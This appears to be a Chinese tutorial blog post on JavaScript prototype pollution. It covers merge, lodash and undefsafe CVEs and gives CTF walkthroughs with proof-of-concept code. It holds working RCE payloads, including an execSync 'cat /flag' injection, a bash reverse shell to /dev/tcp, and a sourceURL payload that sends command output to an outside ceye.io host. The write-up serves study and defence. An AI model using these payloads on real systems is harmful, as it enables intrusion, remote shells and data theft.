关于Prototype Pollution Attack的二三事
2023-1-19 00:52:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

这个prototype污染是js种独有的安全问题,挺有一14。

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并按路径定义属性

首先我们要搞清楚这样一件事

在JavaScript中只有一种结构:对象,也就是常说的"万物皆对象"。

而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链"。

每个实例对象(object)都有一个私有属性( __proto__)指向它的 构造函数的原型对象 (prototype)。该原型对象也有一个自己的原型对象( __proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

我们可以通过以下方式访问得到某一实例对象的原型对象:

objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

在创建对象时,就会有一些预定义的属性。其中在定义函数的时候,这个预定义属性就是 prototype,这个 prototype 是一个普通的原型对象。

而定义普通的对象的时候,就会生成一个 __proto__,这个 __proto__ 指向的是这个对象的构造函数的 prototype。

JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。这条链子就是原型链了。

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

这里用一个p神的例子

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

我们来分析一下这段代码,Son这个函数的原型通过Son.prototype = new Father()这一段代码继承了Father的属性,然后通过构造函数将Son实例化为对象son,当我们输出first_name的时候,引擎会先在构造出对象的函数中寻找,也就是在Son中寻找,找到了Melania并输出,在输出last_name的时候,先在Son中查找,没有找到,然后引擎就会去son.__proto__中寻找,通过我们的学习,可以知道son.__proto__ == Son.prototype,又因为Son.prototype = new Father()所以Son的圆形中就会有Father的属性,就输出了我们所看到的结果了。

那如果在son.__proto__中没找到呢?

如果仍然找不到,则继续在son.proto.proto中寻找last_name

依次寻找,直到找到null结束。比如,Object.prototype的proto就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

我们需要记住:

每个构造函数(constructor)都有一个原型对象(prototype)

对象的proto属性,指向类的原型对象prototype

JavaScript使用prototype链实现继承机制

为啥要学这个呢?因为我们需要以这种形式对原型链进行传值,来对其进行污染

JSON 语法是 JavaScript 语法的子集。

JSON 语法衍生于 JavaScript 对象标记法语法:

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 花括号容纳对象
  • 方括号容纳数组

JSON键/值对由键和值组成,键必须是字符串,值可以是字符串(string)、数值(number) 、对象(object)、数组(array)、true、false、null。

在定义JSON键/值时,先是键名,后面写一个冒号,然后是值。如:

"github": "https://github.com/"

就等价于

github = "https://github.com/"

再举个例子

var object = {
  'a': [{ 'b': 2 }, { 'd': 4 }]
};

var other = {
  'a': [{ 'c': 3 }, { 'e': 5 }]
};

_.merge(object, other);
// => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }

我们先看一个语句

我们如果可以控制[a]、[b]和value的值,将[a]设置为__proto__,那我们就可以给对象的原型设置一个值为value的b属性了。

这样所有继承object对象原型的实例对象都将会在本身没有b这一属性的情况下,拥有一个值为value的b属性。

举个例子

为啥没在object2中设置foo属性还可以输出Hello World呢?

是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。

这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

Merge 类操作导致原型链污染

哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。

这里还是p神的例子

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

可以看到,数据被合并了,那么验证一下原型链有没有被污染

可以看的出来,并没有。

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

像这样的一段代码

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

merge函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下,第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上,并且它们都是Object类型,那么Merge函数将重新开始合并它。

在这里可以控制b[attr]的值,将attr设为__proto__,也可以控制b中proto属性内的值,那当递归时,a[attr]在某个点实际上将指向对象a的原型,至此通过递归我们向所有对象添加一个新属性。

需要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响

>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined


>o2.__proto__
<{b: 2}          


>console.log({}.b)
<undefined        //并未污染原型


>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined


>console.log({}.b)
<2             //成功污染

那么Merge()为什么不安全呢?

  • 这个函数对 source 对象中的所有属性进行迭代(因为对象 source 在键值对相同的情况下拥有更高的优先级)
  • 如果属性同时存在于第一个和第二个参数中,且他们都是 Object,它就会递归地合并这个属性。
  • 现在我们如果控制 source[key] 的值,使其值变成 __proto__,且我们能控制 source__proto__ 属性的值,在递归的时候,target[key] 在某个特定的时候就会指向对象 targetprototype,我们就能成功地添加一个新的属性到该对象的原型链中了。

一到用到了Merge类操作的题目:[GYCTF2020]Ez_Express

进入题目后发现是一个登陆界面,直接登陆的话会提示需要先注册,用admin注册的话会提示禁用字符,访问www.zip获取源码

在/route/index.js中发现了Merge操作,同时还有一个可疑的clone

我们找一下clone方法

可以看到,需要user是ADMIN我们才能使用clone

这个就关系到登陆了,我们查看一下登陆相关的路由

这里了一个safekeyword的方法来审查注册,我们跟进

哦,就是不能注册admin,但我们需要用admin的身份

注意到有一个toUpperCase的函数被调用了,也就是会把user的注册内容转化成为大写,这就可以利用Fuzz中的JavaScript的大小写特性。

toUpperCase()是javascript中将小写转换成大写的函数。toLowerCase()是javascript中将大写转换成小写的函数。

但我们用脚本fuzz过后

出现了俩奇怪的东西"ı"、"ſ"。

这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。

toLowerCase也有同样的字符:

这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.

那我们就可以借助"ı"来完成admin的注册了

注册admın

成功注册,这里还说了flag的目录

这样我们就来到了原型链污染的部分了,那么污染那个属性呢?

可以看到在 /info 下,将 res 对象中的 outputFunctionName 属性渲染入 index 中,而 outputFunctionName 是未定义的:

回到界面上,提交我们喜爱的语言然后抓包

将 Content-Type 设为 application/json,POST Body 部分改为 Json 格式的数据并加上Payload:

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

可以看到success了

其实这个题还有个非预期

在这里我们可以看到这个题是使用了ejs这个模板引擎

这个引擎特征

const express = require('express');
const path = require('path');

const app = express();

app.listen(3000, () => {
    console.log('3000端口');
});

//设置ejs:
app.set('view engine', 'ejs'); //设置模板引擎为ejs
app.set('views', [`${path.join(__dirname,'moban')}`, `${path.join(__dirname,'views')}`]); //设置模板文件的存放位置
app.engine('html', require('ejs').__express); //将html文件作为ejs模板文件来解析

但这个模板引擎本身是存在原形污染的,可以直接进行rce,且有大把现成的exp....

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/监听端口 0>&1\"');var __tmp2"}}

先访问/action进行原型链污染,再访问/info进行模板渲染,实现RCE

接着post访问api.js就可以反弹shell了

另一道用到了Merge类操作的题目:[HackIM Nullcon CTF 2019] – Proton

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())    // 调用中间件解析json
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

这里我们可以看出我们需要让admin = 1就行了

要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。

因此最简单的 Payload 就是:

{"__proto__": {"admin": 1}

一个关于Merge的漏洞:merge.recursiveMerge CVE-2020-28499

此 CVE 影响 2.1.1 以下的 merge 版本

测试代码:

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

结果如下

漏洞成因

首先对于传入的数据没有严格的审核

导致了recursive方法中的键值是可以控制的,我们可以直接通过他来对原型进行更改

修复也自然就是对传入的数据进行过滤

Lodash 模块原型链污染

Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。

一个关于Lodash的漏洞:lodash.defaultsDeep 方法 CVE-2019-10744

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

console.log(Object.whoami);

我们在mergeFn({}, JSON.parse(payload));处下断点,单步结束后可以看到:

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

原型被污染了

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后面会讲到。

lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

这种格式的东西在原型链污染中是出现频率很高的危险函数之一

这里当两个键相同的时候,生成的对象将有最右边的值,在这里也就是sources的值。当有多个对象相同的时候,那么新生成的对象将只有一个与这些对象相对应的键和值。这也就是之前在Merge类污染的时候讲过的递归那一块,其实和之前说的Merge类污染是很相似的,我们来看源码。

  • node_modules/lodash/merge.js

直接调用了baseMerge方法,我们直接跟进

  • node_modules/lodash/_baseMerge.js

这里对srcValue有一个筛选,如果他是一个对象的话就进入baseMergeDeep方法,我们要去Merge的对象一定是个Object

  • node_modules/lodash/_baseMergeDeep.js

这里对于上一步的srcValue直接丢进了assignMergeValue中,继续跟进

  • node_modules/lodash/_assignMergeValue.js:

这里对value的值和对象键名啥的进行一个筛选,但是最终就是进入baseAssignValue

  • node_modules/lodash/_baseAssignValue.js

这里可以进行绕过

prefixPayload = { nickname: "Will1am" };
payload{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);

最终进入 object[key] = value 的赋值操作。

也就是object[prototype] = {"role": "admin"}

这样就给原型对象赋值了一个名为role,值为admin的属性

POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

我们在 lodash.merge({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 polluted 属性,值为 yes,污染成功。

运行结果也表示了污染成功

lodash.mergeWith 方法 CVE-2018-16487

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

这个方法在4.0.0版本之后添加的

这个方法除了多了个customizer其实和上面分析的路径是一样的,就不一步一步的卸载这里了

这个参数对于我们的利用路径也没啥影响

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

我们在 lodash.mergeWith({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 polluted 属性,值为 yes,污染成功。

lodash.set 方法造成的原型链污染

设置object对象中对应 path 属性路径上的值,如果path不存在,则创建。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。 使用_.setWith 定制path创建。

Note: 这个方法会改变 object。

  1. object (Object): 要修改的对象。
  2. path (Array|string): 要设置的对象路径。
  3. value (*): 要设置的值。

返回(Object): 返回 object。

例子

var object = { 'a': [{ 'b': { 'c': 3 } }] };
 _.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4 
_.set(object, ['x', '0', 'y', 'z'], 5);
console.log(object.x[0].y.z);
// => 5

其实作用就是修改指定路径的值

看源码

这里指向了baseSet,跟进

这里必然是一个对象,进入if循环,但我们更改的主要是路径,通过路径对原型链进行污染

跟进baseToPath方法

这里对我们传入的path进行一个条件运算,很显然我们传入的一般不是一个数组,跟进到stringToPath方法

可以看到也没有啥过滤

如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

我们在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性,值为 Vulnerable,污染成功。

lodash.setWith 方法造成的原型链污染

这个也是,类似于上面讲的set方法,但是还回接受一个customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。customizer 调用3个参数: (nsValue, key, nsObject)

该方法与 set 方法一样可以进行原型链污染,基本上差不多,就不单出拿出分析了,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

我们在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性,值为 Vulnerable,污染成功。

lodash.zipObjectDeep 方法 CVE-2020-8203

例子

_.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);
// => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }

影响版本 < 4.17.16,这里的测试版本是4.17.15

POC

const _ = require('lodash');

_.zipObjectDeep(['__proto__.z'],[123])

console.log(z) // 123

看看源码

该函数可以根据props数组指定的属性进行对象“压缩”,属性值由values数组指定。

所以传入的也就变成baseZipObject(['__proto__.z'],[123],baseSet)

跟进baseZipObject

POC中调用baseZipObject函数时,length等于1,varsLength等于1,assignFunc是baseSet。

因此执行的其实是

baseSet({}, '__proto__.z', 123)

这个版本的baseSet和我们上面讲到的漏洞有所不同

这里用到castPath将路径__proto__.z解析成属性数组['__proto__','z']

然后就进入了while循环,大概执行了以下操作:

按属性数组中元素的顺序,依次获取对象原有的属性值,并进行赋值;

如果该属性不是数组的最后一个元素,那赋值为对象本身,或空数组,或{}。

如果是数组的最后一个元素,就将该属性赋值为我们期望的value。

我们在_.zipObjectDeep(['__proto__.z'],[123])下一个断点,然后单步执行查看结果

可以看到,原型链被污染了,每一个现有对象和新建对象都将有一个属性z。

配合 lodash.template 实现 RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 "interpolate" 分隔符相应的位置。 HTML会在 "escape" 分隔符中转换为相应实体。 在 "evaluate" 分隔符中允许执行JavaScript代码。 在模板中可以自由访问变量。 如果设置了选项对象,则会优先覆盖 _.templateSettings 的值。

在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性

我们看一下相关的源码

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

可以看到 sourceURL 属性是通过一个三元运算赋值,options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

这里要注意的是 Function 内是没有 require 函数的,我们不能直接使用 require('child_process') ,但是我们可以使用 global.process.mainModule.constructor._load 这一串来代替,后续的调用就很简单了。

\u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"}

[Code-Breaking 2018] Thejs

这道题是看P神文章里面写的,摘出来分析一下

没找到环境,简单分一下吧

源码如下

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

比较重要的代码如下

// ...
const lodash = require('lodash')
// ...

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
//...

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

问题出在了lodashs.merge函数这里,这个函数存在原型链污染漏洞,会直接将注入原型的属性的值写去最底层的object。我们需要找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。

在template函数中我们可以找到利用点

var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
    .apply(undefined, importsValues);
});

看下sourceURL

option是在模板引擎中渲染的值。这里读的是sourceURL属性的值,我们可以通过添加一个sourceURL属性,修改它的值,通过js原型链污染在function中达到执行js的目的,模板:

new Function("","//# sourceURL='xxx'\r\n CODE \r\n")();

因为require不是全局的,他只存在于当前的模块范围,但是new function是在新的领域运行的,所以我们想利用的话要先将它引用过来

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://onsdtb.ceye.io/${result}`);req.end();\r\n"}}

Undefsafe 模块原型链污染(CVE-2019-10795)

Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object.a.b.e)
// skysec

可以看到当我们正常访问object属性的时候会有正常的回显

但当我们访问不存在属性时则会得到报错

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了

同时在对对象赋值时,如果目标属性存在:

我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:

访问属性会在上层进行创建并赋值。

undefsafe 模块漏洞分析

通过以上演示我们可知,undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本,存在原型链污染漏洞(CVE-2019-10795)。

我们在 2.0.3 版本中进行测试:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

这里object.toString的值本来是存在的,我们通过Undefsafe将其更改成了我们想要执行的语句

也就是说当undefsafe()函数的第 2,3 个参数可控时,我们便可以污染 object 对象中的值。

var a = require("undefsafe");
var test = {}
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is just a evil!

可以看到最终输出了 "this is just a evil!"。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

[网鼎杯 2020 青龙组]notes

题目给出了源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

我们注意到其使用了 undefsafe 模块,那么如果我们可以操纵其第 2、3 个参数,即可进行原型链污染,则可使目标网站存在风险。故此,我们首先要寻找 undefsafe 的调用点:

get_note(id) {
    var r = {}
    undefsafe(r, id, undefsafe(this.note_list, id));
    return r;
}

edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}

这里的r是个空的属性,是很显然是比较容易利用的,同时再查看和编辑note的时候还调用了undefsafe方法,那我们下一步就看看get_note在哪里会被调用

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

这个路由主要就是用来查看notes的,当我们指定一个q,也就是指定一个查看的note时,就会调用get_note

既然q是我们可以指定的,也就说明他是一个可控的参数,但这样只能控制undefsafe得第二个参数而已,而第三个参数我们无法控制

但在/edit_note路由中存在一个edit_note的方法

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

此时的id, author, enote三个参数都是可控的参数,那么我们则可以操纵原型链进行污染

edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现 /status 路由有命令执行的操作:

app.route('/status')    // 漏洞点,只要将字典commands给污染了,就能执行我们的任意命令
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);    // 将命令执行结果输出
            });
        }
        res.send('OK');
        res.end();
    })

